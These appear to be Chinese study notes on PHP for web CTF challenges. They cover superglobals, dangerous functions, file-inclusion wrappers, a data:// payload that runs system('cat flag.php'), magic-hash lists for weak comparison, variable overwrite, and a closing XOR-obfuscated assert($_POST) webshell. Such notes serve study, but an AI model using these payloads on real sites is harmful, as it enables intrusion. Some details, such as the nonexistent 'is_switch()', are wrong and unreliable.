什么是php
运行在服务器端的脚本/编程语言,用于书写动态生成网页。
数据类型
String(字符串)
Integer(整型)
Float(浮点型)
Boolean(布尔型)
Array(数组)
Object(对象)
NULL(空值)
预定义变量(魔术常量)
系统提前定义的变量,预定义变量都是数组
$_GET:获取所有表单以get方式提交的数据
$_POST:POST提交的数据都会保留在此
$_REQUEST:GET和POST提交的都会保留
$GLOALS:php中所有的全局变量
$_SERVER:服务器信息
$_SERVER['SERVER_ADDR']:真是ip
$_SERVER["CONTEXT_DOCUMENT_ROOT"]:网站根目录
$_SERVER['QUERY_STRING']:获取当前请求的查询字符串
disable_functions:禁用函数
$_SESSION:session会话数据
$_COOKIE:cookie会话数据
$_ENV:环境信息
$_FILES:用户上传的文件信息(临时文件路劲)
可变变量
$a='b';
$b='bb';
echo $$a;//a=bb
静态变量
函数内部定义的变量,使用static关键字修饰,用来实现跨函数共享数据的变量,结束时局部变量会清空,重新运行又重新初始化。
系统内置函数
文件操作函数
fopen(): 打开一个文件或 URL。例如:$file = fopen("test.txt", "r"); 会以只读模式打开 test.txt。
file_get_contents(): 读取文件的全部内容到一个字符串。
file_put_contents(): 将一个字符串写入文件。例如:file_put_contents("test.txt", "Hello World!");
print():类似于echo输出提供的内容,本质是一种结构(不是函数),可以不需要使用括号。
print_r():类似于var_dump,但是比var_dump简单,不会输出数据的类型,只会输出值(函数打印较多)。
system(), shell_exec(), exec(), passthru(): 执行外部程序或系统命令。例如:system("ls"); 会执行 ls 命令并显示输出。
遇到过的陌生函数
- preg_match()
preg_match只能处理字符串,所以当传入的subject是除字符串以外的值时会返回false,检查是否包含某个值。
pre_match()函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。
- preg_replace()
执行正则表达式搜索和替换。例如:$newStr = preg_replace("/apple/i", "orange", $str); 会将 $str 中的 "apple" 替换为 "orange"
- intval()
用于获取变量的整数值,不能用于object和array,否则会产生E_NOTICE错误并返回1。
- var_dump()
返回变量的数据类型和值。
- is_numeric()
检查是否都是数字 是为true 否是false。
- eval()
执行构建的函数代码。
- hex2bin()
转换十六进制字符串为二进制字符串。
- substr ()
返回字符串的子串。
- call_user_func()
把第一个参数作为回调函数调用,其余参数是回调函数的参数。
- file_put_contents()
将一个字符串写入文件。
- parse_str(string,array)
把查询字符串解析到变量中
- ereg()
用于执行正则表达式匹配,ereg 函数存在 NULL 截断漏洞,可以绕过正则过滤,使用 %00 截断。
- strrev()
反转字符串。
- __toString()
当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据,不少 php 的内置类里都包含有这个方法,如 Reflectionclass、Exception、Error、CachingIterator。
- getcwd()
获取当前工作目录,返回当前工作目录。
- strip_tags()
用于从字符串中剥离 HTML、XML 和 PHP 标签。它可以选择性地保留某些标签。
- stripos()
查找字符串在另一字符串中第一次出现的位置。用于数组的时候会返回null
- readfile()
读出一个文件。
- shell_exec()
通过shell执行命令并将完整的输出以字符串的方式返回。
- parse_str()
将查询字符串解析成变量。
内置类
- FilesystemIterator
获取指定目录下的所有文件。 - gettext()
它从翻译文件中获取一个给定的字符串,并返回翻译后的结果.
- stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
- parse_str()
对get请求进行的内容解析成变量。
- extract()
从数组中将变量导入到当前的符号表。
- assert()
用于调试,检查一个条件是否为 true。
魔术常量
_DIR_:当前被执行的脚本所在电脑的绝对路径。
_FILE_:当前被执行脚本所在电脑的绝对路劲(带执行脚本的文件名)。
_LINE_:当前所属的行数。
_NAMESPACE_:当前所属的命名空间。
_CLASS_:当前所属的类。
_METHOD_:当前所属的方法。
逻辑运算符
&&:逻辑与,两边都满足。
||:逻辑或,只要满足一个即可。
!:逻辑非,对已有条件取反,本身为true,取反为false。
位运算符
&:按位与,两个都为1,则为1,否则为0。
|:按位或,有一个为1,结果为1。
~: 按位非,一个位如果为1则变成0,否则反之。
^:按位异或,两个相同则为0,不同则为1。
<<:按位左移,整个数(32位),向左移动一位,右边补0。
:按位右移,整个位向右移动一位,左边补符号位对应内容(正数补0,复数补1)
文件包含
在一个php脚本中,去将另外一个文件(php)包含进来,去合作完成一件事情。
四种形式
include:包含文件
include_once:系统会自动判断文件包含过程中,是否已经包含过(一个文件最多被包含一次)
require:require_once:与上述类似。
路径
相对路径
.|./:表示当前文件夹
../:上级目录
绝对目录:
/:相对于网站主机名字对应的路径
伪协议
PHP伪协议是一种特殊的URL协议,它允许PHP直接从PHP内部生成数据或者访问PHP自身处理的数据流,而不需要外部资源。这些协议是由PHP解释器内部定义和处理的,不同于HTTP、FTP、HTTPS等标准网络协议。
php://filter
作用:这个可以用来过滤我们发送或接收的数据。 在 CTF 中可以用来读取脚本源代码
php://filter/read or write=/resource=数据流
eg:php://filter/read=resource=files.txt
- resource=< 要过滤的数据流> 必须。它指定了你要筛选过滤的数据流
- read=< 读链的筛选列表>
【可选】设定一个或多个过滤器,以管道符(|)分割。
- convert.base64 编码:convert.base64-encode 解码:convert.base64-decode
eg:php://filter/read=convert.base64-encode/resource=files.txt
- convert.iconv.*
- write=< 写链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
php://input
可以读取请求的原始数据(输入/输出流)。如果html表单编码设置为"multipart/form-data", 请求是无效的。一般在 CTF 中用于执行 php 代码(POST 发包)。
注:需在 php 中设置 allow_url_include = On
zip:// & bzip2 & zlib://
zip:// & bzip2:// & zlib:// 均属于压缩流,可以用来访问压缩文件中的子文件,可以不用指定后缀名,可修改为任意后缀。jpg、png、gif、xxx、etc…
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
compores.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 上传,任意后缀名
?file=compress.bzip2://E:\web\d-cutevnc\test2.test
file://
用于访问本地文件系统,在 CTF 中通常用来 读取本地文件
?id=file:///D:/flag.txt
data://
data 伪协议 是一种数据流封装器,类似于 php://,它利用流的概念,将原本的文件包含方法重定向到用户可控制的输入流中。简单来说,就是通过包含用户输入的 payload 来实现特定的目的。
?page=data://text/plain,payload
其中,payload 是你希望执行的代码或数据,一般是经过base64或者url编码
eg:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
弱类型比较
strcmp(str1, str2)
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
注 5: 在 php5.0 以前,strcmp 返回的是 str2 第一位字母转成 ascii 后减去 str1 第一位字母。
当 strcmp 比较出错后,会返回 null,null 则为 0。
is_numeric()
用于检测数值是否为数值,如果遇到这个函数,可以用上述转换类型的特性(版本小于 8.0.0),如果传入的是字符串,会先将字符串转换成数值。
is_switch()
这个方法和类型转换一样大同小异,case 会自动将字符转换成数值。
$a = "233a"; # 注意这里
$flag = "flag{Give you FLAG}";
switch ($a) {
case 1:
echo "No Flag";
break;
case 2:
echo "No Flag";
break;
case 233:
echo $flag;
break;
default:
$a = 233;
echo "Haha...";
}
md5()(md5 只能使用字符串)
md5(字符串,var2)
计算字符串的md5散列值,如果var2为真将返回16字符长度的原始二进制格式
==比较
md5 在处理哈希字符串的时候,如果 md5 编码后的哈希值时 0e (科学计数法)开头的,都一律解释为 0,所以当两个不同的值经过哈希编码后他们的值都是以 0e 开头的,则每个值都是 0
- 数值型
240610708 0e462097431906509019562988736854 返回:0
314282422 0e990995504821699494520356953734 返回:0
571579406 0e972379832854295224118025748221 返回:0
903251147 0e174510503823932942361353209384 返回:0
$md5 md5($md5)
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
0e00928251504 0e148856674729228041723861799600
0e01350016114 0e769018222125751782256460324867
0e01352028862 0e388419153010508575572061606161
0e01392313004 0e793314107039222217518920037885
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
0e02760920150 0e413159393756646578537635311046
0e02784726287 0e433955189140949269100965859496
0e03298616350 0e851613188370453906408258609284
0e03393034171 0e077847024281996293485700020358
- 字母型
QLTHNDT 0e405967825401955372549139051580 返回:0
QNKCDZO 0e830400451993494058024219903391 返回:0
EEIZDOI 0e782601363539291779881938479162 返回:0
TUFEPMC 0e839407194569345277863905212547 返回:0
===比较
使用 FastCool 对 md5 进行一个简单碰撞
首先创建一个文件 1.txt,在里边输入任意值,其次使用命令
fastcoll -p 1.txt -o 2.txt 3.txt
sha1()
sha1 的参数不能为数组,传入数组会返回 NULL,所以先传一个数组使得 sha1 函数报错,接着再左右两边传入不一样的内容,两边条件自然 =1,相等即可绕过
变量覆盖漏洞
$$
一个可变变量获得了一个普通变量的值并作为这个可变变量的变量名
extract()
extract(array,flags,prefix)
- array:一个关联数组
- flags:对待非法/数字和冲突的键名的方法将根据取出标记 flags 参数决定。
EXTR_OVERWRITE:如果冲突 覆盖已有变量
EXTR_SKIP:如果有冲突 不覆盖已有变量
EXTR_PREFIX_SAME:如果有冲突 在变量名前加上前缀prefix
EXTR_PREFIX_ALL:给所有变量名加上前缀prefix
EXTR_PREFIX_INVALID:仅在非法/数字的变量名前加上前缀prefix
EXTR_IF_EXISTS:仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
EXTR_PREFIX_IF_EXISTS:仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS:将变量作为引用提取。这有力地表明了导入的变量仍然引用了 array 参数的值。可以单独使用这个标志或者在 flags 中用 OR 与其它任何标志结合使用。
如果没有指定 flags,则被假定为 EXTR_OVERWRITE。
- prefix
注意 prefix 仅在 flags 的值是 EXTR_PREFIX_SAME,EXTR_PREFIX_ALL,EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。 如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线。
parse_str()
parse_str(str) 用于将字符串解析成多个变量,没有返回值\
register_globals
register_globals 设置为 on 的时候,传递的参数会 自动注册 为全局变量。
import_request_variables
import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中
一些小技巧
异或绕过
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
eg:异或"?"和"~"之后得到的是"A"
详解:字符:? ASCII:63 二进制:0011 1111
字符:~ ASCII:126 二进制:0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到二进制:0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
几个位运算符:
可以把1理解为真,0理解为假;那么可以就把"&"理解为"与","|"理解为"或";而对于"^"则是相同就为0,不同就为1。"~"为取反操作。
那么怎样知道哪两个字符异或可以得到我们想要的字符 可以试用以下脚本测试。
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
下面还有一个payload用于参考
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');//$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
//$_='_POST';
$__=$$_;
$_($__[ _ ]);//assert($_POST[ _ ]);
?>